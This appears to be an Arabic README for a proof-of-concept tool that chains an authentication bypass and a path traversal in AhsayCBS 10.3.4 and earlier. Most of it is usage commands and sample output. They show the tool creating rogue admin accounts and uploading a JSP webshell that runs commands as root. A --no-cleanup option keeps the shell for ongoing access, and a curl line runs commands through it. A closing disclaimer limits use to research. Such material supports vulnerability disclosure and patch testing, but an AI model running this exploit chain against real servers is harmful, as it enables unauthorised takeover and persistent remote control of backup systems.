دليل استغلال إثبات مفهوم لـ CVE-2026-105133 و CVE-2026-105134 يؤثران على AhsayCBS
CVE-2026-105133 + CVE-2026-105134 — تنفيذ الأوامر عن بُعد دون مصادقة في AhsayCBS ≤10.3.4
يتوفر تحليل تقني يغطي السبب الجذري والاستغلال ومؤشرات الاختراق على مدونة أبحاث الهجمات الخاصة بـ Horizon3.ai:
إصدارات AhsayCBS 10.3.4 وما قبلها معرّضة لـ تنفيذ الأوامر عن بُعد دون مصادقة عبر ثغرتين متسلسلتين: تجاوز المصادقة واجتياز المسار في وحدتي JSON API ومستقبل النسخ المتماثل. يمكن للمهاجم تحقيق سيطرة إدارية كاملة أو تنفيذ الأوامر عن بُعد مباشرةً دون بيانات اعتماد.
تتخطى الدالة com.ahsay.obs.api.json.JSONApi.execute() التحقق من بيانات الاعتماد checkSysPwd() عندما يحتوي جسم طلب JSON على {"FromServlet":"Y"}. يتيح ذلك لأي مهاجم غير مُصادَق عليه استدعاء كل إجراءات JSON API دون بيانات اعتماد.
التأثير: وصول غير مُصادَق عليه إلى JSON API لعمليات حساسة.
تُنشئ نقطة نهاية رفع ملفات مستقبل النسخ المتماثل (PUT /rps/obs7/rpsfile/upload) مسار الكتابة من ترويسات UserHome وTopDir التي يتحكم بها المهاجم عبر getReplicatedPath() دون تطبيق قائمة الحظر الخاصة بالمسار com.ahsay.c. يمكن للمهاجم اجتياز المسار إلى الدليل الذي يخدمه Tomcat (../../webapps/) لرفع ملفات JSP قابلة للتنفيذ.
يستخدم تجاوز المصادقة لإنشاء حساب مسؤول نظام جديد. يعمل على أي تثبيت لـ AhsayCBS، بغض النظر عن الترخيص أو إعدادات النسخ المتماثل.
python3 ahsay_rce_poc.py --url https://target.example.com
المخرجات:
AhsayCBS <=10.3.4 unauthenticated takeover (CVE-2026-105133 + CVE-2026-105134)
[*] Target: https://target.example.com
[*] Checking authentication bypass (CVE-2026-105133)...
[+] Target is VULNERABLE: auth check is skipped with FromServlet=Y
[*] Creating ADMIN account 'svc_abcdef' via AddSysUser (unauthenticated)...
[+] Created system user 'svc_abcdef' (Role=ADMIN)
[+] Confirmed: the account authenticates as a functional ADMIN
[+] Admin credentials
Console : https://target.example.com/cbs/
Username: svc_abcdef
Password: TK$#m9q@2pL!xR4vN
Role : ADMIN
[*] Cleaning up...
[+] Removed admin account 'svc_abcdef'
[+] Done.
يستخدم اجتياز المسار في مستقبل النسخ المتماثل لتحميل webshell موثّق. يتطلب أن يكون الهدف مرخّصًا ومهيأً كمستقبل للنسخ المتماثل. يحقق تنفيذ التعليمات البرمجية عن بُعد بصلاحيات حساب الخدمة.
python3 ahsay_rce_poc.py --url https://target.example.com --replication --cmd id
المخرجات:
AhsayCBS <=10.3.4 unauthenticated takeover (CVE-2026-105133 + CVE-2026-105134)
[*] Target: https://target.example.com
[*] Checking authentication bypass (CVE-2026-105133)...
[+] Target is VULNERABLE: auth check is skipped with FromServlet=Y
[+] Created replication receiver 'rqxmouq' (SystemHome=/opt/AhsayCBS/rpsrecv_ggsrer)
[+] Uploaded webshell -> /rps/status_vomejx.jsp (auth-gated)
[*] Webshell: https://target.example.com/rps/status_vomejx.jsp?auth=d9facce9a7e9535aab16270e36bf7527
[+] Remote code execution confirmed:
uid=0(root) gid=0(root) groups=0(root)
[*] Running: id
uid=0(root) gid=0(root) groups=0(root)
[*] Cleaning up...
[+] Removed webshell /rps/status_vomejx.jsp
[+] Removed receiver 'rqxmouq' (Id=2)
[+] Done.
pip install requests
اختبر ما إذا كان الهدف عرضة للثغرة دون إجراء أي تغييرات:
python3 ahsay_rce_poc.py --url https://target.example.com --check
إنشاء حساب إداري جديد:
# Auto-generated credentials (default)
python3 ahsay_rce_poc.py --url https://target.example.com
# Custom username and password
python3 ahsay_rce_poc.py --url https://target.example.com \
--admin-user admin_user \
--admin-pass 'P@ssw0rd123'
# Custom role (default: ADMIN)
python3 ahsay_rce_poc.py --url https://target.example.com --role OPERATOR
تنفيذ الأوامر عبر webshell مؤقت:
# Execute 'id' command
python3 ahsay_rce_poc.py --url https://target.example.com --replication --cmd id
# Interactive webshell (use --no-cleanup to keep the shell)
python3 ahsay_rce_poc.py --url https://target.example.com --replication \
--no-cleanup \
--secret mysecret123 \
--shell-name cmd.jsp
# Then access via:
# curl 'https://target.example.com/rps/cmd.jsp?auth=mysecret123&cmd=whoami'
General:
-u, --url URL Target base URL (required)
-t, --timeout SECONDS HTTP timeout (default: 30)
-k, --insecure Ignore TLS cert errors (default: on)
--check Detect vulnerability without exploitation
--no-cleanup Leave artifacts in place for further access
Admin Takeover:
--admin-user USER Username to create (default: random)
--admin-pass PASS Password to set (default: random strong)
--role ROLE User role: ADMIN, OPERATOR, etc. (default: ADMIN)
Replication RCE:
--replication Use replication RCE mode (requires licensed receiver)
-c, --cmd COMMAND Command to execute
-r, --install-root PATH AhsayCBS install directory (default: /opt/AhsayCBS)
-w, --webapp NAME Web app to upload JSP into (default: rps)
--secret HEX Webshell auth secret (default: random)
--shell-name NAME Webshell filename (default: random)
"تم إنشاء هذا البرنامج فقط لأغراض البحث الأكاديمي ولتطوير تقنيات دفاعية فعّالة، وليس المقصود استخدامه لمهاجمة الأنظمة إلا حيث يُصرَّح بذلك صراحةً." لا يتحمل القائمون على المشروع أي مسؤولية عن سوء الاستخدام. استخدمه بمسؤولية.